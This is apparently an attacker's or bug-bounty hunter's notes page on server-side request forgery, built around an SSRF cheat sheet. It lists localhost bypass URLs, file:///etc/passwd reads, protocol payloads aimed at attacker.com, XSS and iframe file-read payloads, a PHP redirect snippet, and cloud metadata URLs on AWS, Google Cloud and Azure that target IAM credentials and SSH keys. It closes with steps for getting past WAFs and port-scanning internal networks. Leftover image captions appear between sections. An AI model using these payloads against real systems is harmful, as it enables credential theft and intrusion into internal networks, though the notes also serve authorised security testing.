Resources:

<https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4> -> great payload resource

<https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978> -> basic stuff and guide to basic payload construction

<https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery>

<https://portswigger-labs.net/hackability/> -> can be passed to backend servers to help locate vulnerabitities.

<https://dzone.com/articles/the-server-side-request-forgery-vulnerability-and> -> more great payloads and info on scanning internal network

<https://vickieli.medium.com/exploiting-ssrfs-b3a29dd7437> -> exploiting ssrf

<https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b> -> bypassing ssrf protection \*\*

Its almost necessary to have a server of some sort to look for incoming connections, as blind ssrf is very common. Canarytokens and requestbins can help us ID callbacks see bookmarks in hacking tab. Even better we can use our apache2 server on kali box, then use localhost.run to forward the ports. Final;y we navigate to localhost/server-status to see a log of all incoming connections to the server!!

We want to find all parameters or variables that reference an external resource, this could be a request to an external URL or file or many other things (as shown below)

Common payload styles to use when testing:

**SSRF CHEATSHEET**

Below you will find my cheatsheet for exploiting Server Side Request Forgery (SSRF):

-------------------------------------------------------------------

Detection:

Check out parameters such as /file=, /path=, /src= to see if the application can send request only to whitelisted applications

Check out if there is PDF or any other file export tool in place which may be vulnerable to SSRF

--------------------------------------------------------------------

\_\_Basic localhost Payloads:\_\_

http://127.0.0.1:port

http://localhost:port

https://127.0.0.1:port

https://localhost:port

http://[::]:port

http://0000::1:port

http://[0:0:0:0:0:ffff:127.0.0.1]

http://0/

http://127.1

http://127.0.1

--------------------------------------------------------------------

\_\_File path:\_\_

/etc/passwd

file:///etc/passwd

file://path/to/file

file://\/\/etc/passwd

--------------------------------------------------------------------

\_\_With other protocols:\_\_

sftp://attacker.com:port/

dict://attacker:port/

tftp://attacker.com:port/

ldap://localhost:port/

gopher://127.0.0.1:port/

--------------------------------------------------------------------

\_\_From XSS:\_\_

\<img src="xxx" onerror="document.write('\<iframe src=file:///etc/passwd>\</iframe>')"/>\

\<link rel=attachment href="file:///etc/passwd">\

--------------------------------------------------------------------

\_\_With iframe injection:\_\_

<?php $file = $\_GET['file']; header("location:file://$file");?>

\<iframe src="http://attacker-ip/test.php?file=/etc/passwd">\</iframe>\

--------------------------------------------------------------------

\_\_AWS:\_\_

http://instance-data

http://169.254.169.254

http://169.254.169.254/latest/user-data

http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

http://169.254.169.254/latest/meta-data/ami-id

http://169.254.169.254/latest/meta-data/reservation-id

http://169.254.169.254/latest/meta-data/hostname

http://169.254.169.254/latest/meta-data/public-keys/

http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy

http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access

http://169.254.169.254/latest/dynamic/instance-identity/document

--------------------------------------------------------------------

\_\_Google Cloud:\_\_

http://169.254.169.254/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/

http://metadata/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/instance/hostname

http://metadata.google.internal/computeMetadata/v1/instance/id

http://metadata.google.internal/computeMetadata/v1/project/project-id

--------------------------------------------------------------------

Azure:

http://169.254.169.254/metadata/v1/maintenance

http://169.254.169.254/metadata/instance?api-version=2017-04-02

http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

--------------------------------------------------------------------

Graphical user interface, text, application, email

Description automatically generated

Testing:

Text

Description automatically generated

Text, letter

Description automatically generated

We can use SSRF to port scan the entire internal network which we can use to locate other servers that for example have an open port on 80 or 443. Or other open ports which we can use to possible gain remote code execution or other exploits.

If you see a IP address, hostname or URL in a parameter make sure to test it!

Test Steps:

1. Map the application with burp – FULLY! Take your time and learn the app logic.
   1. Identify all parameters containing hostnames, IPs or full URLs
   2. Identify the IP of the server and try to find the ASN to identify as much info about the servers internal network as possible.
2. Once these parameters are identified its time to test each parameter. Probably best to start with repeater to see how the WAF functions a little and tailor your subsequent requests accordingly. (Use sublime to easily change a big list)
   1. If there is a WAF (which there usually is) start by testing the wrappers to see which are allowed. These include http://, https://, file:/// , dict://, sftp://,ldap://,tftp:// and gopgher:// among others. This shows us what type of functionality the exploit will provide and help us to craft our payload accordingly. See <https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978> for more info on these headers.
   2. Carefully check the response from each request to see how the application responds. If you notice defenses look up payload variations. There is a lot out there but compiling a list usually doesn’t work super well as they usually must be changed very often.
3. If these regular tests don’t work, use a server to try to locate blind vulnerabilities.

Injecting URLs or often even better, malformed URLs, into various http headers can often cause pingbacks, dns lookups or GET requests send back to a domain of your choosing.

Especially the Host, X-Forwarded-For and referrer headers among many others!

Think of testing for ssrf like attacking the function responsible for parsing the URL that we pass into it via user supplied input eg path variable or some URL parameter referenced in the request or http headers.

Text

Description automatically generated